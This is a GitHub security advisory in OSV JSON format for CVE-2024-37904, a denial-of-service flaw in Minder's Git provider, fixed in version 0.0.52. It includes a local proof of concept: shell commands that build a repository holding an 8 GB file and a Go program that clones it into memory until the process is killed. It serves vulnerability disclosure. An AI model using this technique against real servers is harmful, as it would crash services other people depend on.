CVE-2024-37904: Github.com/stacklok/minder Denial of Service Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hpcg-xjq5-g666",
  "modified" : "2024-06-18T19:27:35Z",
  "published" : "2024-06-18T16:34:24Z",
  "aliases" : [ "CVE-2024-37904" ],
  "summary" : "Minder affected by denial of service from maliciously configured Git repository",
  "details" : "Minder's Git provider is vulnerable to a denial of service from a maliciously configured GitHub repository. The Git provider clones users repositories using the `github.com/go-git/go-git/v5` library on these lines:\n\nhttps://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L55-L89\n\nThe Git provider does the following on these lines:\n\nFirst, it sets the `CloneOptions`, specifying the url, the depth etc:\n\nhttps://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L56-L62\n\nIt then validates the options: \n\nhttps://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L66-L68\n\nIt then sets up an in-memory filesystem, to which it clones:\n\nhttps://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L70-L71\n\nFinally, it clones the repository:\n\nhttps://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L77\n\nThis `(g *Git) Clone()` method is vulnerable to a DoS attack: A Minder user can instruct Minder to clone a large repository which will exhaust memory and crash the Minder server. The root cause of this vulnerability is a combination of the following conditions:\n\n1. Users can control the Git URL which Minder clones.\n2. Minder does not enforce a size limit to the repository.\n3. Minder clones the entire repository into memory.\n\n## PoC\nHere, we share a PoC of how the logic of `(g *Git) Clone()` behaves isolated from Minder. To get a true assessment of whether this is 100% identical to its behavior in the context of Minder instead of an isolated PoC, this should be tested out by creating a large repository and instructing Minder to clone it. However, even in that case, it might not be possible to deterministically trigger a DoS because of noise from network calls.\n\nWe believe the below PoC is a correct representation because:\n\n1. We have replicated the important and impactful parts of `(g *Git) Clone()`\n2. We run this in multiple goroutines which Minder does here: https://github.com/stacklok/minder/blob/3afa50ef2e06269ed619d390d266cf1988c2068b/internal/engine/executor.go#L128\n3. Minders timeout is set to 5 minutes: https://github.com/stacklok/minder/blob/3afa50ef2e06269ed619d390d266cf1988c2068b/internal/engine/executor.go#L114. With a reasonable connection, Minder can download many GBs in that period.\n\nIn our PoC, we demonstrate that under these two conditions, a large repository can perform a SigKill of the Go process which in Minders case is the Minder server.\n\nFirst, create a local Git repository:\n```\ncd /tmp\nmkdir upstream-repo\ncd upstream-repo\ngit init --bare\ncd /tmp\ngit clone /tmp/upstream-repo ./upstream-repo-clone\ncd ./upstream-repo-clone\n# Add large file:\nfallocate -l 8G large-file\ngit add .\ngit commit -m \"add large file\"\ngit push\ncd /tmp\n```\n\nCreate and run the following script in `/tmp/dos-poc/main.go`:\n\n```go\npackage main\n\nimport (\n        \"context\"\n        \"fmt\"\n        \"github.com/go-git/go-billy/v5/memfs\"\n        \"github.com/go-git/go-git/v5\"\n        \"github.com/go-git/go-git/v5/storage/memory\"\n        \"runtime\"\n        \"sync\"\n)\n\nfunc main() {\n        var (\n                wg  sync.WaitGroup\n        )\n\n        for i := 0; i < 2; i++ {\n                fmt.Println(\"Starting one...\")\n                wg.Add(1)\n                go func() {\n                        defer wg.Done()\n                        opts := &git.CloneOptions{\n                                URL:          \"/tmp/upstream-repo\",\n                                SingleBranch: true,\n                                Depth:        1,\n                                Tags:         git.NoTags,\n                        }\n\n                        storer := memory.NewStorage()\n                        fs := memfs.New()\n                        git.CloneContext(context.Background(), storer, fs, opts)\n                }()\n        }\n        fmt.Println(\"Finished\")\n        PrintMemUsage()\n        wg.Wait()\n\n}\n\nfunc PrintMemUsage() {\n        var m runtime.MemStats\n        runtime.ReadMemStats(&m)\n        // For info on each, see: https://golang.org/pkg/runtime/#MemStats\n        fmt.Printf(\"Alloc = %v MiB\", bToMb(m.Alloc))\n        fmt.Printf(\"\\tTotalAlloc = %v MiB\", bToMb(m.TotalAlloc))\n        fmt.Printf(\"\\tSys = %v MiB\", bToMb(m.Sys))\n        fmt.Printf(\"\\tNumGC = %v\\n\", m.NumGC)\n}\n\nfunc bToMb(b uint64) uint64 {\n        return b / 1024 / 1024\n}\n```\n\nOn my local machine, this Go program is killed before it prints \"Finished\" in the terminal. Observing the memory by way of `top`, we can see that the memory climbs steadily until the program crashes around 93% memory consumption.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/stacklok/minder"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.52"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/stacklok/minder/security/advisories/GHSA-hpcg-xjq5-g666"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-37904"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/stacklok/minder/commit/35bab8f9a6025eea9e6e3cef6bd80707ac03d2a9"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/stacklok/minder/commit/7979b43"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/stacklok/minder"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L55-L89"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L56-L62"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-06-18T16:34:24Z",
    "nvd_published_at" : "2024-06-18T17:15:52Z"
  }
}